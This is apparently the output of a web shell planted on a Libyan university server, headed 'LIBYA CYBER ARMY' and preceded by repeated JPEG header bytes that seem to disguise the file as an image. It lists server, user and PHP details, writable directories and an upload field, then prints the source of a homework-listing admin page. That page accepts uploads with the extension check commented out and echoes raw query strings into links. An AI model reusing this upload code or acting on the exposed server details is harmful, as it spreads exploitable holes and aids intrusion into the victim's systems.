JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-} .
LIBYA CYBER ARMY
Logo of a company Instagram@3g86    Server : Apache
System : Linux uta-edu.server.ly 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : utripoli ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /home/utripoli/public_html/cp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/utripoli/public_html/cp/list_homwork.php
<?php
// اتصال بقاعدة بيانات
require_once("../connection/connect.php");
$page_title = "قائمة بالواجبات";
$page_select = "41";
require_once("include/header.php");
require_once("include/check.php");
require_once("include/locked.php");


$editFormAction = $_SERVER['PHP_SELF'];
if (isset($_SERVER['QUERY_STRING'])) {
  $editFormAction .= "?" . htmlentities($_SERVER['QUERY_STRING']);
}

// استجلاب بيانات الإعدادات
$dirsa->select_db($database_dirsa);
$query_setting_y = sprintf("SELECT * FROM setting_online where set_on_id=%s",
                    GetSQLValueString(1, "int"));
$setting_y = $dirsa->query($query_setting_y) or die($dirsa->error);
$row_setting_y = $setting_y->fetch_assoc();
$totalRows_setting_y = $setting_y->num_rows;


    // استجلاب بيانات التخصصات
    $dirsa->select_db($database_dirsa);
    $query_checked_course = sprintf("SELECT * FROM course_group where group_id=%s",
                       GetSQLValueString($_GET['id'], "int"));
    $checked_course = $dirsa->query($query_checked_course) or die($dirsa->error);
    $row_checked_course = $checked_course->fetch_assoc();
    $totalRows_checked_course = $checked_course->num_rows;

///////////////////////////////////////////////////////////////
/////////////////// الاقسام /////////////////////////////////////
$maxRows_activite =10;
$pageNum_activite = 0;
if (isset($_GET['pageNum_activite'])) {
$pageNum_activite = $_GET['pageNum_activite'];
}
$startRow_activite = $pageNum_activite * $maxRows_activite;


$dirsa->select_db($database_dirsa);
$query_activite = sprintf("SELECT * FROM homeworks where is_deleted is null order by hw_id desc",
                   GetSQLValueString(1, "int"));
$query_limit_activite = sprintf("%s LIMIT %d, %d", $query_activite, $startRow_activite, $maxRows_activite);
$activite = $dirsa->query($query_limit_activite) or die($dirsa->error);
$row_activite = $activite->fetch_assoc();
$totalRows_activite = $activite->num_rows;




if (isset($_GET['totalRows_activite'])) {
  $totalRows_activite = $_GET['totalRows_activite'];
  } else {
  $all_activite = $dirsa->query($query_activite);
  $totalRows_activite = $all_activite->num_rows;
  }
  $totalPages_activite = ceil($totalRows_activite/$maxRows_activite)-1;


$queryString_activite = "";
if (!empty($_SERVER['QUERY_STRING'])) {
$params = explode("&", $_SERVER['QUERY_STRING']);
$newParams = array();
foreach ($params as $param) {
  if (stristr($param, "pageNum_activite") == false &&
      stristr($param, "totalRows_activite") == false) {
    array_push($newParams, $param);
  }
}
if (count($newParams) != 0) {
  $queryString_activite = "&" . htmlentities(implode("&", $newParams));
}
}

if ((isset($_POST["MM_insert"])) && ($_POST["MM_insert"] == "add_homework")) {


  if(isset($_FILES['hw_file'])){
    $errors= array();
    $file_name = $_FILES['hw_file']['name'];
    $file_size =$_FILES['hw_file']['size'];
    $file_tmp =$_FILES['hw_file']['tmp_name'];
    $file_type=$_FILES['hw_file']['type'];
    $file_ext=strtolower(end(explode('.',$_FILES['hw_file']['name'])));

   // $expensions= array("jpeg","jpg","png","doc","docx","mp4");

    if($file_size > 20097152){
    $errors5[]='File size must be excately 2 MB';
    }
    if(empty($errors)==true){

            $name = pathinfo($_FILES['hw_file']['name'], PATHINFO_FILENAME);
$extension = pathinfo($_FILES['hw_file']['name'], PATHINFO_EXTENSION);

$increment = 0;
$pname = $name . '.' . $extension;
while(is_file("uploads/homework/".'/'.$pname)) {
 $increment++;
 $pname = $name . $increment . '.' . $extension;
}
        move_uploaded_file($file_tmp,"uploads/homework/".$pname);

    } else {
    // الصورة الإفتراضية للخبر
    $pname = "NULL";

    }
}

    // إضافة التاريخ الحالي
    $current_date = date('Y-m-d H:i:s');

    $insertSQL = sprintf("INSERT INTO homeworks (hw_name, hw_des, hw_course_group, hw_file, hw_years, hw_by_add, hw_by_add_teac, hw_date) VALUES (%s,%s,%s,%s,%s,%s,%s,%s)",
                         GetSQLValueString($_POST['hw_name'], "text"),
                         GetSQLValueString($_POST['hw_des'], "text"),
                        GetSQLValueString($row_checked_course['group_id'], "int"),
                        GetSQLValueString($pname, "text"),
                        GetSQLValueString($row_setting_y['set_year_id'], "int"),
                        GetSQLValueString($row_users22['user_id'], "int"),
                       GetSQLValueString(0, "int"),
                       GetSQLValueString($current_date, "date"));

    $dirsa->select_db($database_dirsa);
    $Result1 = $dirsa->query($insertSQL) or die($dirsa->error);

    $insertGoTo = "list_homwork.php?id=".$row_checked_course['group_id']."";
    header(sprintf("Location: %s", $insertGoTo));
  }

?>

          <!-- / Navbar -->

          <!-- Content wrapper -->
          <div class="content-wrapper">
            <!-- Content -->
            <div class="container-xxl flex-grow-1 container-p-y">
              <div class="row mb-4 justify-content-end">

              <div class="card">
                <div class="card-header d-flex flex-column flex-sm-row justify-content-between align-items-center">
                  <div class="col col-sm-6 col-lg-4">

                  </div>

                    <button class="btn btn-primary" data-bs-toggle="modal" data-bs-target="#exampleModal">إضافة واجب</button>

                                  </div>

                    <?php if($totalRows_activite > 0) { ?>
                                                <div class="table-responsive text-nowrap">
                  <table class="table table-hover">
                    <thead>
                      <tr>
                        <th>عنوان الواجب</th>
                        <th>ملف ان وجد</th>
                          <th>بواسطة</th>
                          <th>الواجبات</th>
                        <th>تاريخ الإضافة</th>
                        <th>إجرائات</th>
                      </tr>
                    </thead>
                    <tbody class="table-border-bottom-0">
                      <?php do { ?>
                        <tr>
                        <td class="short-title"><?php echo $row_activite['hw_name']; ?></td>
                        <td>
                            <?php if($row_activite['hw_file'] <> "NULL") { ?>
                            <a href="uploads/homework/<?php echo $row_activite['hw_file']; ?>"><button type="button" class="btn btn-primary">الملف</button></a>
                            <?php  } ?></td>
                        <td><?php
                            if($row_activite['hw_by_add'] > 0) {
                                $user_add = $row_activite['hw_by_add'];
                            // استجلاب بيانات التخصصات
                            $dirsa->select_db($database_dirsa);
                            $query_check_users = sprintf("SELECT * FROM users where user_id=%s",
                                GetSQLValueString($user_add, "int"));
                            $check_users = $dirsa->query($query_check_users) or die($dirsa->error);
                            $row_check_users = $check_users->fetch_assoc();
                            $totalRows_check_users = $check_users->num_rows;

                            echo $row_check_users['usr_full_name'];
                            } elseif($row_activite['hw_by_add_teac'] > 0) {
                                // استجلاب بيانات التخصصات
                                $dirsa->select_db($database_dirsa);
                                $query_check_teacher = sprintf("SELECT * FROM teachers where teacher_id=%s",
                                    GetSQLValueString($row_activite['hw_by_add_teac'], "int"));
                                $check_teacher = $dirsa->query($query_check_teacher) or die($dirsa->error);
                                $row_check_teacher = $check_teacher->fetch_assoc();
                                $totalRows_check_teacher = $check_teacher->num_rows;
                                echo $row_check_teacher['teacher_name'];
                            } else { echo ""; }
                            ?></td>
                          <td><?php 
                                        
                             $dirsa->select_db($database_dirsa);
                             $query_total_stu = sprintf("SELECT * FROM homework_student where hw_id=%s",
                                                 GetSQLValueString($row_activite['hw_id'], "int"));
                             $total_stu = $dirsa->query($query_total_stu) or die($dirsa->error);
                             $row_total_stu = $total_stu->fetch_assoc();
                             $totalRows_total_stu = $total_stu->num_rows;
                             
                             echo $totalRows_total_stu;
                            ?></td>
                          
                          <td><?php echo date('Y-m-d', strtotime($row_activite['hw_date'])); ?></td>
                          <td>
                          <div class="dropdown">
                            <button type="button" class="btn p-0 dropdown-toggle hide-arrow" data-bs-toggle="dropdown" aria-expanded="false">
                              <i class="bx bx-dots-vertical-rounded"></i>
                            </button>
                            <div class="dropdown-menu">
                               <a class="dropdown-item" href="list_student_hw.php?id=<?php echo $row_activite['hw_id']; ?>">عرض</a>
                                                          </div>
                          </div>
                        </td>
                      </tr>
                      <?php } while($row_activite = $activite->fetch_assoc()); ?>
                                    </tbody>
                  </table>
                  <nav aria-label="Page navigation example">
                                <ul class="pagination justify-content-center">
                                    <?php
$start_loop = $pageNum_activite;
$difference = $totalPages_activite - $pageNum_activite;
 if($difference <= 5)
    {
     $start_loop = $totalPages_activite - 5;
    }
    $end_loop = $start_loop + 4;

    if($pageNum_activite <= $end_loop)
    {
     echo "<li class='page-item'><a class='page-link' href='?". $_SERVER['QUERY_STRING'] ."&pageNum_activite=".($pageNum_activite + 1)."'>>></a></li>";
     echo "<li class='page-item'><a class='page-link' href='?". $_SERVER['QUERY_STRING'] ."&pageNum_activite=".$totalPages_activite."'>الصفحة الأخيرة</a></li>";
    }
    for($i=$start_loop; $i<=$end_loop; $i++)
    {
        if($i == $pageNum_activite) {
            echo "<li class='page-item disabled'><a class='page-link' href='?". $_SERVER['QUERY_STRING'] ."&pageNum_activite=".$i."'>".$i."</a></li>";
        }
                else if($i < 0) {

        } else {
     echo "<li class='page-item'><a class='page-link' href='?". $_SERVER['QUERY_STRING'] ."&pageNum_activite=".$i."'>".$i."</a></li>";
                }
    }
    if($pageNum_activite > 0)
    {
     echo "<li class='page-item'><a class='page-link' href='?". $_SERVER['QUERY_STRING'] ."&pageNum_activite=0'>الصفحة الأولى</a></li>";
     echo "<li class='page-item'><a class='page-link' href='?". $_SERVER['QUERY_STRING'] ."&pageNum_activite=".($pageNum_activite - 1)."'><<</a></li>";
    }
   ?>
                                </ul>
                            </nav>
                </div>
                <?php } else { ?>
                  <center><h3>لا توجد بيانات لعرضها </h3></center>
                  <?php } ?>
              </div>
  </div>
</div>

<!-- Modal -->
<div class="modal fade" id="exampleModal" tabindex="-1" aria-labelledby="exampleModalLabel" aria-hidden="true">
  <div class="modal-dialog">
    <div class="modal-content">
      <div class="modal-header">
        <h5 class="modal-title" id="exampleModalLabel">إضافة واجب</h5>
        <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
      </div>
      <div class="modal-body">
      <form action="<?php echo $editFormAction; ?>" role="form" method="POST"
                                    name="add_homework" enctype="multipart/form-data">
            <div class="mb-3">
              <label for="exampleInputEmail1" class="form-label">عنوان الواجب</label>
              <input name="hw_name" type="text" class="form-control" id="exampleInputEmail1" aria-describedby="emailHelp">
            </div>
            <div class="mb-3">
              <label for="exampleInputPassword1" class="form-label">وصف الواجب</label>
              <textarea name="hw_des" class="form-control" rows="3"></textarea>
            </div>
            <div class="mb-3">
              <label for="exampleInputPassword1" class="form-label">ملف ان وجد</label>
              <input name="hw_file" type="file" class="form-control" rows="3"></input>
            </div>
            <div class="mb-3">
              <label for="hw_date" class="form-label">تاريخ الواجب</label>
              <input name="hw_date" type="date" class="form-control" id="hw_date">
            </div>
      </div>
      <div class="modal-footer">
      <input type="hidden" name="MM_insert" value="add_homework">
      <button type="submit" class="btn btn-primary">حفظ التغييرات</button>
        <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">إغلاق</button>
      </div>
      </form>
    </div>
  </div>
</div>
            <!-- Footer -->
 <?php require_once("include/footer.php"); ?>


3g86 2022